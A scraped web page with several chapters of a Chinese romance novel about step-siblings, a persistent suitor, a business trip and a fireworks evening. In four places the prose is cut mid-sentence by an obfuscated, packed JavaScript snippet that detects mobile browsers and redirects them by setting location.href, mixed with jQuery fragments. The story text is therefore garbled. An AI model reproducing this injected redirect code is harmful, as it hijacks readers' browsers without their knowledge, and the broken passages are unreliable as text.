“那你可以走了。”周以慎指了指身后,“门在这边。” “……”陆叙站起身,知道从他这里入手是没希望了,但还是不死心地说了句:“总要问一问阿韶妹妹的意见吧,毕竟感情这种事你怎么能替她做主?” 周以慎沉默一息,若有似无地哼笑了下:“未必不能。” - 下午时间,韶真把换下来的衣服丢进洗衣机,全自动洗烘一体。等她码完一章小说,衣服已经是整洁干燥的状态,拿在手里面料触感暖烘烘的。 她熨好挂起来的时候,一旁的手机消息提示音响了一下。 韶真点开微信,显示有一条新的好友申请。 带着疑惑,她点了进去,看到验证信息是:阿韶妹妹,我是陆叙。 陆叙为什么要加她?又是从哪里获得了她的联系方式?韶真皱起眉,但想着是哥哥的朋友,她犹豫片刻还是通过了好友申请。 Verity:【有什么事吗?】35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144239|164637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > L:【想要你的联系方式真不容易啊,我今天一大早就去了周以慎公司。】 原来她的联系方式,是周以慎给陆叙的。 韶真不禁想,那哥哥这么做的意图是什么呢? 她还没回复,聊天界面又跳出一条消息。 L:【能约你吃个饭吗?阿韶妹妹。】 Verity:【吃饭做什么?】 L:【上次人太多,这次想正式和你认识下。】 “……” 韶真大学期间没谈过恋爱,但并不代表没被人追过。实际上那时候追她的人挺多,这种用约吃饭表达好感的方式,她见惯不惯。 只不过对方是哥哥的朋友,拒绝起来有些麻烦。而且,既然周以慎把她的联系方式给了出去,很难说是不是带着一点撮合的意思。 她想发微信问周以慎为什么,但又怕真是她想得这个意思,反而让她拒绝起来更麻烦。 L:【我已经订好餐厅了。】 L:【位置】 韶真在想找什么借口,她还没想好,那边又发来一句: L:【怎么说我跟Eash也是朋友,如果被知道我的示好,连让他妹妹当面拒绝的机会都没有,那也太惨了吧。】 韶真盯着屏幕,深深叹息。 她原本可以毫不犹豫地在微信里拒绝,被当作不礼貌不尊重人也没关系。但多了这层关系,她如果不想搞得太难看,只能去当面说清楚。 好烦。 她随便套了个外套出门,在心里默默嘟囔:哥哥这是交的什么朋友,好没边界感。 等电梯的中途,韶真给周以慎发了条消息:【哥,我出去一趟,很快就回来。】 她没打算真吃这顿饭,只想说完就走。 - 周以慎回到家时,屋里空荡又安静,他一时间有些不太适应。才短短几天,他就已经习惯回到家时有妹妹的存在。 她说了很快回来,于是他没有多问。 在把晚饭的食材准备好后,他看了一眼时间,距离妹妹发送这条消息已经过去了近四十分钟。 他垂眸,眼底情绪不太明晰。 她说得“很快”未免也太久了。 周以慎揉了揉眉心,找到备注为“妹妹”的联系人,拨了电话过去。 电话接通,他轻声问:“你在哪里?” 那边响起一道清澈动听的声音,说得是某个餐厅的位置。然后,他听到了不够清晰的另一道杂音,是个男声,很熟悉。 周以慎握住手机的指骨不自觉加重力度,目光紧锁着次卧那道紧闭的门。 他是该为此生气的,但不是对妹妹发脾气。 周以慎眼睫低垂着,映下一片阴郁的影,但偏偏声音还是平静柔和的,对那端说:“是哥哥做得饭吃腻了吗?” 与此同时,韶真在另一端。 这句话从手机的听筒中贴着她的耳畔传来,他的语气仿佛只是开了个漫不经心的玩笑。 “不是……”她想解释,只是还未开口,就听到他又说了一句话,比方才的声线低了许多,但仍是平缓的。 “等我去接你。” 12. 妹妹 电话挂断之后,韶真莫名腾起了一种心安的感觉。 其实她刚到没多久,和陆叙说话还没超过三句。原先在聚会上,她对他的印象只是说话有些轻浮,但现在她觉得他这个人很烦。 韶真坐得直了些,平视着他:“我哥等下就来接我。” 陆叙表情瞬间有些颓,“Eash简直太小气了,不给我你的联系方式就算了,居然连和你吃一顿饭的时间都不愿意给我。” 韶真微愣,她的微信不是周以慎给他的? 她蹙了蹙眉:“那你为什么要说一大早就去了我哥公司?” 陆叙一脸无辜:“我是去了,但是我好说歹说Eash就是不愿意给。”他停顿,一脸感慨,“我觉得他简直就是个极端妹控!” 韶真沉默了片刻,一时之间她想得不是追问他是从哪里得到了她的微信,而是周以慎是不是妹控和他有什么关系。 她深吸一口气,按耐住情绪,“我不想听你在背后议论我哥。” 陆叙听出她隐隐不悦,怔了下笑道:“不想听的话我就不说了,先吃饭吧,在你哥来之前。” 韶真没有吃饭的打算,只想跟他说清楚。 她正了正神色,认真道:“陆叙哥,我之所以过来,是因为你是我哥的朋友,有些事情我不想点破。” 陆叙正在吩咐侍应生,闻言转脸看向她,“阿韶妹妹,我是真心想要追求你的。” 她明明说了不想点破,他偏还要这样直白。 韶真耐心彻底告罄。一段大学时期糟糕的被追求经历涌上来,那时候在她表示过明确拒绝后,还有个男生疯狂追求了她一周,闹得全校皆知的程度。这对她几乎成了阴影般的存在。 韶真平复呼吸,即使生气也保持着理智:“我们只见过一面,你根本就不了解我,怎么能轻易说出真心?” “而且你有没有想过……”她站起身,一字一句:“我是你朋友的妹妹,你这么做会让我很为难。” 陆叙确实没考虑过这点,甚至是,他根本没考虑过会被拒绝。微信上说“连被当面拒绝的机会都没有”其实只是约她出来的借口而已。 他这些年情场得意,追女孩子从没失手过,所以当韶真说出这番话的时候,他蒙了蒙。 “阿韶妹妹,我……”陆叙有些哑口无言。 也是在这时,周以慎从餐厅里形形色色的人旁边经过,眼神没有任何停留,直到落在窗边一道身影,目光才有了聚焦。 她脊背挺得很直,手掌按在餐桌面上,指骨微微曲起,绒面桌布被抓出细微褶皱。 他走至离她很近的地方,声音很低,旁若无人般说道:“来接你回家了。” 韶真原先抿得死紧的唇,在听到这句话后缓缓放松了下来。明明为此感到委屈,也有很多话想说,但张了张嘴,只发出一声“嗯”。 她一刻也不想待下去。 周以慎没问任何事情,只是把车钥匙递给她,说:“你先下去,在车里等我一下。” 韶真低着的头轻轻点了点。 车钥匙在他手掌中,她拿的时候,指甲很轻地刮过他掌心的皮肤。有那么一瞬间,周以慎升起了一个荒谬的念头,他想要握紧她的手。 念头一闪而过,抓不住,也不敢深究。 韶真在拿到钥匙后,没有犹豫,转过身往外走。 陆叙也慌了,站起身看着她背影,想喊住,但下一秒,视线却被周以慎完全挡住。他身量比陆叙高五公分,垂着眼皮无端有种轻慢:“我是不是告诉过你,别打我妹妹的注意?” “Eash,这只是很正常的追求而已……”陆叙仍不觉得他有错,主动追求有好感的女生,人之常情。 “正常?”周以慎几乎有点想笑,也真的扯了扯唇角。他像第一天认识陆叙般,国外那几年没一点长进,仍是做事冲动不计后果。 “你有没有想过,她是我的妹妹,你这么做会让她很为难。” 陆叙整个人愣住。 十分钟前,他听到过同样的话。这种时刻,他甚至还分神地想,不是亲兄妹也有这样的心有灵犀吗? 周以慎一字一句继续道:“她拒绝你,还要顾及我这层关系。还是你觉得她一定会接受,你怎么这么自以为是?” 陆叙想反驳些什么,却又无从说起。 但今晚的种种,让他面子很挂不住,他觉得有必要找点其他原因,于是说:“Eash,作为哥哥,你甚至不允许有人追求她,你不觉得你的占有欲太越界了?” 越界吗? 可是从没有人告诉他,该怎么和没有血缘的妹妹相处,他只能自己摸索,然后选择了自己最想选的方式。 至于界限在哪里,谁说得清呢? 周以慎平静地看着陆叙,眸光暗沉,像暴雨前的天色。他抬起手掌,淡声道:“手机给我。” 陆叙没反应过来他要做什么。 “手机给我。”周以慎淡声又重复了一遍,“如果不想让你爸知道你在……” 周以慎话尚且没说完,陆叙慌忙地拿出手机,递他手里,“给你,别让我爸知道。” 周以慎没再理会他,拿着手机在他面前一晃解锁人脸。而后单手操作,点进微信,只用了不到五秒的时间,删除了备注为“阿韶妹妹”的联系人。 在陆叙眼皮底下做完这一切,周以慎捏着手机一角,递还给他。甚至还带了抹礼貌的笑意,提醒他:“拿好。” 陆叙手掌攥紧,忍无可忍质问:“Eash,你真的只是把她当妹妹吗?” 向外走的人脚步一顿,象征性地回了半个头,眉梢略挑说道:“当然。” - 韶真坐在车里等待,安静的密闭的空间,让她的情绪渐渐平息。她抬手,用手掌覆盖着眼睛,觉得有种闹剧般的荒诞。 为什么明明她什么都没做,到头来却要感到难堪?就像那时候一样。 大二那年,她被一个学弟表白。在她告知对方不喜欢他并且为此感到困扰后,那个学弟还是继续猛烈地追求她,包括但不限于在学校广播站念告白诗、在宿舍楼下唱情歌,在食堂故意排在她身后。 这样的情况持续了一个星期,在同学的嬉笑讨论和异样的眼光中,她感觉无地自容。 有些人的喜欢,本身就是一种冒犯。 尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144240|164637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管这些行为甚至称得上是骚扰,但学弟还是会被同学戏称为“恋爱脑”“爱情中的勇士”,这个世界对男人总是如此宽容。 好在一周后学弟因为违反校规被退学处理了。 随着主驾的车门被打开,韶真的思绪逐渐回笼。她把手放下来,眨了眨眼睛,声音有点闷,“我以为自己可以处理好,抱歉,让哥哥担心了。” “不用抱歉。”周以慎在系安全带,随着动作偏过头看她,“是我该反思,妹妹遇到事情为什么不愿意事先询问我。” 他以退为进,懒懒散散地勾着唇看她。 韶真小声为自己辩白:“我以为是哥哥把我的联系方式给他的……”后边的联想她没再说。 但即使不说,有人也已经明察秋毫,“你以为我在撮合你们?” 周以慎鼻尖溢出一丝若有似无的哼笑,而后直视着她。他太懂怎样从细微表情中读出她情绪变化,太懂毫不折衷的目光会让她避无可避。 “妹妹,你觉得我会做这样的事吗?” “我不知道……” “那我告诉你。”他说,“我不会。” 天色不知何时彻底暗了下来。 车里的光影浮浮沉沉,韶真为自己的误解有些无措,指尖下意识的动作捏了捏手机,屏幕却在这一刻被触亮。 周以慎低眸望了眼那一抹亮光,忽道:“要不微信上骂他两句解解气?” 韶真眼眸睁大。 她应该说“算了吧”,不想显得自己太斤斤计较。但或许是今天晚上的情绪确实需要一个发泄口,她犹豫了下,跃跃欲试地问:“可以吗?” 周以慎笑着看她,语气带了点鼓励意味:“当然。” 得到哥哥的首肯,韶真双手捧起手机,很认真地在聊天框打出一句话:你的行为真的让人很反感! 她点击发送。 然后,这句话的前边出现了红色感叹号。 韶真难以置信地看了好几秒,又抬头,一双眼睛里写满了错愕,“哥,他把我删了……” “是吗?”周以慎眉梢略抬,似乎也为此疑惑了片刻,又了然地笑,“可能是三分钟热度过了,他这个人一向冲动,并不是可靠的人选。” 即使知道妹妹对陆叙无意,可他还是要不留一丝一毫的可能。 “既然如此,那就把他删了。”他语气温和地提醒,“记得拉黑名单。” 韶真也正有此意,她照做之后,把手机放进衣服口袋,眼不见心不烦。时至此刻,她对陆叙的印象已经坠入低谷,低得不会有任何好转的可能。 等红绿灯的间隙,周以慎盯着计时的数字。 他想,幸好这次发现的不算太晚,不像之前,他在英国与她隔着距离与时差,居然迟了一周才发现她的困扰。 尽管后来为她解决了问题,可对她的影响已经不可避免的存在。 他应该更敏锐、警觉一些的。 读秒结束,红灯转绿。 周以慎的余光里有霓虹灯影、车流不息,有这座城市的夜幕与喧嚣,以及安静坐在副驾的妹妹。 他眉眼弯了弯,问她:“回去想吃什么?” 13. 妹妹 隔天,周以慎上午开完例行会议,秘书进来汇报工作行程。他这周要到临市出席一场为期三天的科技峰会,这是一早就安排好的。 “周总,明天早上八点司机去接您,预计中午十二点前到达临市。下午有一场与合作商项目的实地考察,次日上午举行峰会开幕式,晚上有重要嘉宾的晚宴,后两天是峰会的主题论坛活动。” 周以慎“嗯”了声,要说什么,手机铃声却在这时不合时宜的响起。 他垂眸看了眼来电显示,眉心皱起。 秘书善于察言观色,见状说道:“周总,会议资料我已经发给您,后续有任何行程调整我会及时与您沟通。” 周以慎略微颔首,在秘书离开后才接起电话,接通后,他没出声,眉宇间神色隐隐不耐。 那端传来陆叙的声音,语气落寞:“Eash,阿韶妹妹把我拉黑了,我现在连搜索号码都显示用户不存在。” 意料之中,也正是周以慎希望看到的。 他语气平淡:“如果你打电话过来只是为了说这件事,那现在说完了,我挂了。” “等下……”陆叙深吸一口气,“我想再跟阿韶妹妹见一面,无论是解释也好,道歉也罢,我当面跟她说清楚。” “没必要。”周以慎说,“她不会想再见到你。” 那端沉默了会儿,忽然开口,“她住在你那里是吗?江湾壹号。” 周以慎眸色暗了下来,握住手机的指骨微微发力。在听到这句话后,脑海中闪过几种让陆叙离开江城的方法,他细细思量哪一个可行性最好。 见他没说话,陆叙又道:“我去楼下等她。” 在很短的时间内,周以慎在心底敲定了一个方案。他很少会为自己做过的事后悔,无论是在英国认识陆叙,还是带韶真去赴宴,他不会纠结已经发生的事,只会为问题想出应对之策。 周以慎蓦地发出一声不轻不重的哼笑,“你知不知道,你现在这样很像一块狗皮膏药?” 说完,他直接挂断,结束这通浪费时间的电话。 - 中午起来时,韶真撕下岛台岩面上贴的一张新便利贴,不同于之前,这次密密麻麻写了一大段: 炖的玉米排骨,在电压力锅里。我设置了定时,你起来时应该已经自动排气结束进入保温状态,但你打开盖子前还是务必检查一下。 韶真低头看了好久,似乎可以想象到处理完食材放进锅里定时后,周以慎站在岛台边,以他的身量还需要弓着腰,然后拿着笔一字一句在便利贴上写下这段话。 口吻宛如一个放心不下、特意多交代几句的老父亲。 想到这个比喻,韶真弯了弯唇。 她忍不住好奇,周以慎为什么总是喜欢写便利贴,而不是直接给她发微信。思来想去,她得出两个结论,如果不是个人习惯使然,那很有可能是因为担心微信提示音会吵醒她。 她更倾向于后者,毕竟经过这些天相处下来,周以慎简直就是个完美哥哥。想到之前在周家她还特意和他保持距离,韶真就觉得那时候她真还挺装的。 她把这张便利贴和之前的放在一起,用长尾夹整齐地夹在一起,放进床头柜的抽屉里。 说不清为什么想收集起来,可能是觉得随手扔垃圾桶太可惜了吧。 再回到厨房时,韶真将排骨汤盛出来。 她想起来,周以慎第一次给她留午饭的时候,说得是做早餐顺便给她做了一份。因为是顺便,她当时接受起来没什么心理压力。 就像是预设了一个很低的门槛,她跨过去,再之后即使是特意给她做的午饭,接受起来也相对轻易。 理性告诉她这样很容易产生依赖感,回到自己家之后会产生戒断反应,但感性上,她根本没法拒绝这种睡到中午起来,已经有人把饭做好的生活。 韶真抿抿唇,盛了一勺汤送进嘴里。 汤汁清香,应当是提前焯过水,汤底没有一丝血沫。这个方法是陈怡告诉过她的,但她觉得麻烦,从来懒得炖排骨汤。 所以,他是几点就起来做饭了? 韶真很轻地叹了口气,在心底默默告诉自己,就当是拿到一张期限一个月的黄粱美梦体验卡。 - 下午的天气很好,三月进入到尾声,暖意疯长,到了江城一年之中最气候宜人的时间。 韶真吃过午饭,抱着笔记本坐在露台的藤编摇椅上。视野开阔,江景微风以及周遭蓬勃生长的绿植,在这样的环境中码字也变得惬意。 下午六点左右,她码完这一章,发布完后粗略地浏览了下评论区。距离她大学时创作的第一本书已经过去了两年之久,开文间隔时间长再加上新文刚连载没几天,意料之中没几条评论。 除了撒花评论外,有一条吸引了她的目光。 -男主好有活人感,给我的感觉就像是现实中先存在了这么一个人,才有了男主这个角色。 “……” 韶真心虚地想要否认,但又怕被当成此地无银三百两。想了想,她忽视掉这条评论,默默关上了电脑。 深吸一口气,她发誓一定要捂好自己的马甲,绝对不能被人发现,毕竟,以自己的哥哥为原型写一篇骨科文,可不是什么光彩事。虽然,她在文中的设定是没有血缘关系的兄妹。 咦,怎么感觉更贴合现实了。 韶真摇了摇头,抑制住这些乱七八糟的想法。 傍晚时候,周以慎回来照旧给她带了甜品。想到上一次的尴尬经历,韶真这次只夸了句:“哥,你们公司的下午茶太棒了,每天都换新!” 夸完,她只挑了一块小蛋糕,剩下的放进冰箱保鲜。饭前吃太多会影响正常进食,所以她打算剩下的等熬夜饿了的时候再吃。 韶真拿着小蛋糕回到客厅里,周以慎在厨房做饭。她本来也帮不上忙,且他说过习惯一个人做饭,所以她就心安理得地坐在沙发上,随手拿起置物架上的书。 书很新,像是刚拆掉外包装的塑料薄膜,还未被人翻开过。 韶真目光落在书名上。 仿生人会梦见电子羊吗? 是她前段时间看过的电影《银翼杀手》的原著,围绕着生命意义及人性本质等哲学问题进行了探讨。 她低头看了两页,对着厨房里那道身影说:“哥,这本书是你买的吗?我前两天还看过这本书改编的电影。” “嗯,我知道。”周以慎没回头,略微弓着腰在洗菜,水流声哗啦,但并不影响他听清妹妹说得话。 韶真疑惑:“你怎么知道?” 周以慎关掉水龙头,望了她一眼,而后唇角稍抬回答:“电视上登陆的是我的账号。” “……” 韶真脸上的表情凝固住,她把这一茬给忘了。 电光火石的几秒钟,她在脑海中快速搜索最近有没有看什么不该看的。应该是没有吧,只有两三部电影和新出的番剧。 番剧…… 韶真想起来,在追新番之前,她在网上搜索过有没有什么推荐的番。其中一个视频,背景音乐是悬溺,配文:这真是我看过最纯爱的番了。 底下评论还说:同意,真的很感人,适合跟家人一起看。 出于好奇,她在电视上搜索了这部番的名字《甜蜜惩罚》。没搜出来,但是有相关的片段视频,她没多想点开了一个,然后红着脸退出来。 “……” 韶真放下书,默默用手掌盖住脸。 人在极度尴尬的时候,往往会表现得很平静。她缓缓地把手挪开,面无表情地说了句毫不相干的话:“哥,我突然觉得应该调整下作息。” 话题转得异常生硬。 周以慎本来只是提醒一下她,他无意窥探她的观看记录,更不想让她窘迫。他淡然地接下她的话,“确实,要不就从明天早上开始?” 见他没有追问观看记录的事,韶真松了一口气,下意识说:“嗯,好。” “那明天早上八点,和我一起去临市出差?” “嗯,好……等一下……”韶真睁大眼睛,怀疑是自己听错,“出差?” 周以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15144241|164637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慎看向她,唇角挂着浅淡的笑,解释道:“会议为期三天,不放心你一个人在家。而且听说临市这两天有烟花表演,你以前不是说过,很喜欢看烟花吗?” 这话她确实说过,只不过时间太久远,连她自己都忘记了。就算喜欢,但她也不至于专程去临市看,咸鱼的本性还是爱宅在家里。 她婉拒:“还是不去了。哥,你别不放心,我可以照顾好自己的。冰箱里有食物,而且下楼这附近也有超市。” 她说得信誓旦旦,周以慎凝望她片刻,似乎是并不打算勉强。 “那好吧。只是……”他眯着眼睛,微微一笑提醒:“出门的时候要多注意,陆叙上午的时候打电话过来,说想见你一面,要在楼下等你。” “……” 这人怎么没完没了了。 “哥……”韶真眨了两下眼,“我现在改变主意还来得及吗?” “当然。”周以慎对着她笑了笑。 在开口时语气无端让人心安,“不要担心,在出差回来前,我会解决好陆叙的问题,不会让他再有机会打扰你。” - 当天晚上,韶真简单收拾了行李,原本想带自己的衣服,但又怕周以慎觉得她是对新衣服都不喜欢,到时候又要解释。 于是她在衣帽间里挑选了两套新的装进行李箱。 次日早上,韶真定了三个闹钟,在一遍一遍的铃声中终于起床,洗漱过后时间已经是七点五十。 还有十分钟。 韶真拖着行李箱打算跟周以慎一起下楼,后者则叫住她:“早餐还没有吃。” 韶真说:“时间不够了。” “开车去,又不是赶飞机,没必要这么慌张。”周以慎在给三明治涂果酱,不紧不慢地问她:“蓝莓还是芒果?” “……芒果吧。” 八点十分,韶真吃完早餐下楼。 她仰头看了眼天色,清晨的阳光柔和细腻,并不刺眼。她都不知道有多久没有见到过早上八点多的太阳了。 放好行李,周以慎替她拉开后座车门。 原以为他会想之前那样坐在后座另一侧,毕竟他是老板,没道理司机开车他坐在副驾的。 可他只是在她落座后叮嘱了句:“车里有挡板,困了你就继续睡。” 说完,他带上车门,绕了圈坐进副驾驶的位置。 有一道挡板,后排宛如独立的空间。 车行驶了半小时后,韶真不知不觉真睡着了,回笼觉一直睡到抵达目的地。 一路到酒店,主办方接待的人员已等候多时。 经理远远看到两辆车停靠,第一辆车下来了两人,看着装应是秘书和助理,真正的大人物在第二辆车。 经理扬起一抹热络笑容,往前几步迎了上去,殷勤地拉开后座车门:“周总,幸……” “会”字还没说出口,他愣住。 韶真的反应也没比他好到哪里去。 刚睡醒,睁着迷迷瞪瞪的眼睛,脸上还有不知道在什么地方枕出来痕迹,伸出手指了一下自己,表情像是在问“你在跟我说话吗?”。 绕是再训练有素,经理也为这一幕不知道该说什么。还好,几秒钟后,从副驾出来的男人淡声说了句:“幸会。” 似找到救星般,经理忙调转方向。 又是一副社交式的完美笑容。 - 韶真被人一路引领着到酒店房间,她的房间被安排到周以慎隔壁。她有点好奇,所以在随行人员名单上,她是什么职位呢? 房间内宽敞明亮,韶真坐在沙发上,手边的茶几上还放着当季鲜花,她凑近闻了下,花香味清雅宜人。 她正打算把行李箱里的衣服拿出来挂好,手指按在行李箱的密码锁上时,忽然感觉好像少点什么。 她好像不止带了一个行李箱吧? 还有用来码字的笔记本电脑,装在一个黑色电脑包里,和周以慎的文件资料放一起。 几乎顾不得再多做思考,韶真站起身冲出房间,慌忙地去敲隔壁的门。 14. 妹妹 门敲响后,过了几分钟才被打开。 这几分钟对韶真来说有种度秒如年的感觉,在听到开门的声音时,她慌忙看过去,对上周以慎那双漆黑的眼眸。 他的睫毛湿漉漉的,头发也是湿的,发尾的水滴落在睡衣上,洇出一片深色的水痕。 韶真大脑有一瞬间空白。 所以,他刚刚是正在洗澡,然后被她打断了,以至于连睡衣领口的扣子都没有完全扣上,露出一道清晰的锁骨。 似乎是察觉到她的目光,周以慎抬手,不紧不慢地系起扣子,同时问她:“怎么了?” 韶真回过神,眼皮快速地眨了几下:“哥,我的笔记本好像在你这里,是一个黑色的电脑包装着的。” 周以慎对此有印象。 “确实在我房间。”他垂眸,盯着她的神色观察几秒,匀出一丝慢悠悠的笑意:“只是拿错电脑而已,这么紧张做什么?” 韶真刚发现电脑在他那里时,确实很慌,毕竟做了亏心事,稍微发生点什么都会草木皆兵。但此刻理智回笼,她反应过来电脑设置的有密码,况且哥哥也不是会随意窥探她隐私的人。 思及此处,韶真缓缓平静下来。 她扬起一抹笑,解释说:“写小说赶时间。” 这也不算说谎。 “是吗?”周以慎稍稍侧了侧身,下巴一点,示意她进去拿。在她擦身而过时,慢条斯理地接了一句,“我还以为是电脑里藏了什么秘密呢?” 韶真明显脚步一顿。 周以慎看着她背影,无声地勾了勾唇。 年纪小,不懂得隐藏,所有的反应都如此浅显易懂。 “哪有什么秘密。”韶真笑得些微牵强,她拿起电脑包,抱在怀里,“哥,我先回去了。” 她说完,像只矫捷的猫,开门、进房间、关门的动作一气呵成。做完这些,韶真靠在门后,长长地呼出一口气。 当天下午,在创作最新章节的时候,周以慎站在房间门口的那一幕,仿佛在她脑海里挥之不去般。她手搭在键盘上,不受控制般,敲出来的文字是对他身材的描写。 明明他穿着睡衣,可她笔下的文字却写着: 哥哥发梢的水顺着胸膛一路蜿蜒向下,滑过冷白的肤色、紧实的肌理,最后落进腰间系着的浴巾边缘消失不见。 他离得这样近,那股如盛夏阳光般的柑橘香,避无可避地钻进鼻腔。她迟钝地明白过来,那一刻的怔愣是在心神荡漾。 在敲完这段文字后,韶真闭上眼睛,双手合十,默默在电脑前忏悔,她低声念念有词:“哥哥,原谅我,我不是故意要YY你的。我心里完全没有对您身材的亵渎,只有对写文赚钱的渴望。” 念叨完,韶真本就不多的道德感彻底败下阵来,她的指尖在键盘上飞快舞动,又洋洋洒洒敲出来一大段文字。 - 次日上午是峰会的开幕式,规模很高,除了业内知名科技公司外,还邀请了政府领导和国内几家主流媒体。 开幕式结束后,会议流程一项一项进行。 周以慎的位置在前排,旁边坐着的是圈子里威望很高的前辈,和他父亲是旧识,两人寒暄几句,对方提及他父亲再婚,意味深长地说了句:“有时候白月光娶回家了也就那么回事。” 周以慎听懂他弦外之音,面不改色地回道:“我父亲要是知道您这么挂怀他,必定感动。” 对方目光玩味刹那,笑呵呵地转了话题。 当天的会议进程告一段落,晚上则是社交式的晚宴,周以慎无可避免的要出席。 他应付这样的场合一贯得心应手,只是今天不一样,答应了妹妹九点之前陪她一起去看烟花表演。 晚上八点三十五分,一通电话打了过来,周以慎拿起手机,对上前攀谈的人略微颔首。 那人立刻心领神会,抬了抬手道:“周总,您随意。” 周以慎接起电话,韶真的声音紧贴着他耳畔:“哥,你什么时候过来呀?小林哥已经把我送到金河区这边了。” 金河区就是举行烟花表演的地点。 周以慎没回答,语调淡淡地问:“你刚刚称呼我的助理什么?” “小林哥啊,怎么了?” 韶真没觉得有什么奇怪的,人家比她大,还专程开车送她,虽然是听从她哥的安排,但怎么说她称呼一声“小林哥”都显得很礼貌。 周以慎沉默片刻,公事公办地提醒她:“工作的时候请称职务。” 韶真想说可是现在已经不是工作时间了,但余光瞥到小林一脸“求你别说了”的表情,她吸了吸气,妥协道:“好的。林植物,不,林助理已经送我到金河区了,所以请问周总什么时候过来?” 她这一声“周总”喊得不伦不类。 周以慎哼笑一声,回她:“十五分钟内。” - 八点五十五分,韶真站在人潮涌动的边缘,她不敢乱跑。害怕周以慎会找不到她,更害怕自己会跑丢。 小林在她旁边,得了上司安排看好他妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15144242|164637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妹。 这种清闲差事,又能拿到双倍加班费,他乐此不疲。 韶真低头看了下手机时间,正在想哥哥会不会错过开场表演时,听到有人叫她名字,声线再熟悉不过,她应声回头。 在人流如织中,周以慎定定站在那里。 耳边炸开的是沸腾的人声和烟花表演开始的倒计时,数字归零,烟花在夜空中绽放,绚烂的光影映亮韶真的眼瞳,她惊喜地喊了一声:“哥!” 明明这一秒里,声响震耳。 可周以慎却清晰地听到她的呼唤。 就好像是彼此之间缠绕着隐形的丝线,即使隔着人海,他轻轻一扯,她就会有回应。这种羁绊太过独特,让他无可自抑地沉沦。 周以慎走向她。 小林在这时很合眼色地默默离开,回车里等着。 “哥,我已经好久都没看过烟花了!” 韶真仰着脸看得专注,以至于完全没有注意到身侧一道柔和轻轻落向她。 所有人都抬头看烟花绽放,只有周以慎微微偏过脸,注视着她,“那上一次看是什么时候?” 韶真回答:“十九岁那年生日。” 她的记忆被拉回到十九岁那年的初春。 那是她到周家的第二年。 京州不同于江城,全域禁放烟花爆竹。 韶真小的时候很喜欢看烟花,那时候她个子很矮,韶延就把她举过肩头,而陈怡则在一旁伸手护住她,温柔地提醒韶延“小心点”。 后来,每当说起自己喜欢看烟花的时候,韶真都觉得她并不是喜欢烟花本身,而是怀念一家人和和美美在一起的时光。 那一年周以慎恰好从英国回来过假期。 韶真鼓起勇气主动问他:“哥哥,京州有哪里可以看烟花吗?” 周以慎目光带着点探究意味,似是在想她这么问的原因。过了会儿,他说:“度假村有限定区域可以举办焰火表演。” 韶真慢吞吞地“哦”了声,没再说什么。 后来,周以慎又去了英国。 她在生日前一天收到一份远渡重洋的礼物。 而她生日当天恰好是周五,隔天没课,关系要好的室友非要拉着她去度假村玩,说是要给她庆生。 那天晚上,度假村果真举行了焰火表演。 在表演开始之前,她听到工作人员说,这场焰火表演是一位哥哥送给妹妹的生日礼物。 她那时候想,好巧,这位幸福的妹妹居然和她同一天生日。 15. 妹妹 烟花落幕,夜空里只余灰白色翻涌的硝烟。 韶真从没有想过,有一天陪在她身边看烟花的人会是周以慎,明明他们之前一直都是交集寥寥的表面兄妹,但却在这短短几天内仿佛成了真正的家人般。 “哥,我有一个问题。” 韶真无所顾忌地开了口,原本在他面前的谨慎和客气一点点消失,取而代之的是松弛感,像小动物会在信任的人面前露出柔软。 “什么问题?” 韶真笑了下,问他:“为什么选我做你的妹妹?” 她看着他时,一脸天真,但那双眼睛却格外有神专注,好似想要看透他。 虽然只有三岁的年龄差,但横亘在他们之间完全不同的人生轨迹像天堑鸿沟,她其实根本没办法看透他。 这个问题的角度太过新奇,周以慎微愣,而后缓缓道:“在回答这个问题之前,我想先知道,你怎么会觉得是我选了你?” 他们的父母再婚,于是他们顺理成章成为了兄妹,按照常理来说,是不存在谁选择了谁的问题。 但韶真觉得自从在江城再见到后,她明显地感觉到,是周以慎走向她,选择成为她的哥哥。不再是维系着过往五年里那种浅薄的名义上的兄妹关系。 